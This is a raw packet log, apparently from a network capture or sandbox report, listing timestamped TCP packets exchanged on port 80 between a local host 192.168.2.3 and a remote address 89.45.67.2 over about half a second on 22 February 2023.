Feb 22, 2023 09:44:16.658757925 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.658780098 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.659025908 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.659043074 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.659101009 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.659544945 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.659661055 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.659687042 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.659729958 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.659754992 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.659835100 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.659892082 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.659951925 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.659985065 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.660013914 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.660099983 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.661031008 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.661147118 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.661147118 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.661175013 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.697947025 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.697992086 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.698081017 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.698221922 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.700664043 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.700711012 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.700728893 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.700745106 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.700830936 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.700831890 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.700973034 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.701052904 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.701134920 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.701180935 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.701222897 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.701247931 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.701740026 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.701831102 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.701916933 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.701950073 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.701997042 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.702644110 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.702763081 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.704013109 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.704128027 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.704188108 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.704227924 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.704255104 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.704268932 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.704448938 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.704471111 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.704518080 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.704560041 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.704806089 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.704828024 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.704869032 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.704888105 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.705039978 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.705105066 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.705137968 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.705168962 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.705229998 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.741170883 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.741213083 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.741369009 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.741466999 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.743880987 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.743920088 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.743938923 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.743998051 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.744050980 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.744091034 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.744092941 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.744111061 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.744234085 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.744271994 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.744318008 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.744330883 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.744652033 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.744841099 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.744864941 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.744920015 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.745057106 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.745618105 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.747277021 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.747327089 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.747359037 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.747410059 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.747430086 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.747462988 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.747536898 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.747572899 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.747610092 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.747631073 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.747701883 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.747759104 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.747775078 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.747823954 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.748013020 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.748049974 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.748095036 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.748095989 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.748119116 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.748147964 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.748259068 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.784436941 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.784495115 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.784667015 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.787139893 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.787213087 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.787276030 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.787333012 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.787374973 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.787389040 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.787405014 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.787422895 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.787554979 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.787604094 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.787647963 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.787800074 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.787975073 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.788049936 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.788163900 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.790524006 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.790612936 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.790649891 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.790736914 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.790766954 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.790810108 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.790880919 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.790914059 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.791032076 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.791069984 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.791161060 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.791177034 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.791265011 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.791300058 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.791335106 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.791358948 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.791376114 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.791531086 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.791567087 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.791599989 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.791614056 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.791630983 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.791676998 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.827750921 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.827791929 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.827959061 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.830410957 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.830437899 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.830454111 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.830528975 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.830528975 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.830578089 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.830665112 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.830730915 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.830739975 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.830907106 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.830986977 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.831067085 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.831120014 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.831135988 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.831197977 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.831223011 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.831264973 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.831305027 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.831330061 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.831398010 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.833800077 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.833946943 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.833965063 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.834075928 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.834177017 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.834422112 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.834511042 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.834541082 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.834639072 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.834708929 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.834716082 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.834832907 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.834894896 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.834906101 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.835073948 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.835134029 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.835145950 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.835230112 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.835249901 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.835273981 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.836186886 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.871010065 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.873027086 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.873481989 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.873532057 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.873589039 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.873661995 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.873696089 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.873755932 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.873755932 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.873761892 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.873809099 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.873872995 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.873935938 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.874006987 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.874150038 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.874175072 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.874247074 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.874259949 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.874286890 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.874321938 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.874349117 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.877016068 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.877100945 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.877295971 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.877485991 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.877511024 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.877582073 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.877698898 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.877743006 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.877768040 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.877830029 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.877928019 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.877983093 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.878060102 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.878084898 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.878144026 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.878176928 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.878227949 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.878252983 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.879204035 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.879658937 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.915935993 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.916100979 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.916235924 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.916423082 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.916766882 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.916793108 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.916814089 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.916886091 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.916887045 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.916923046 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.917053938 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.917212963 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.917264938 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.917284966 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.917342901 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.917361021 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.917654037 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.917675972 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.917696953 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.917742968 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.917769909 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.920511961 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.920548916 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.920578957 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.920607090 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.920654058 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.920711040 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.920768023 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.920783043 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.920803070 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.920888901 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.920917034 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.921288967 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.921314955 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.921336889 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.921360016 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.921360016 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.921381950 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.921473980 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.921497107 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.921540976 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.922564983 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.923023939 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.959320068 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.959355116 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.959481955 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.959635973 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.959810019 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.959902048 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.960133076 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.960186005 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.960199118 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.960233927 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.960329056 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.960354090 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.960410118 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.960597038 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.960645914 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.960705042 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.960726023 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.960741997 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.960773945 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.960887909 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.960916042 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.960989952 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.961059093 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.961105108 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.961195946 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.964365005 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.964399099 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.964417934 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.964493036 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.964504957 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.964586020 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.964629889 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.964639902 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.965312004 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.965432882 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.965501070 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.965502977 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:16.965548038 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.965622902 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.966048002 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:16.966519117 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.002635002 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.002834082 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.003050089 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.003068924 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.003194094 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.003443003 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.003597975 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.003801107 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.003835917 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.003953934 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.004041910 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.004070997 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.007461071 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.007499933 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.007555962 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.008368969 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.012960911 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.057307005 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.100486040 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.104759932 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.187016010 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.187208891 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:17.230149031 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.232527018 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:17.234644890 CET	49726	80	192.168.2.3	89.45.67.2
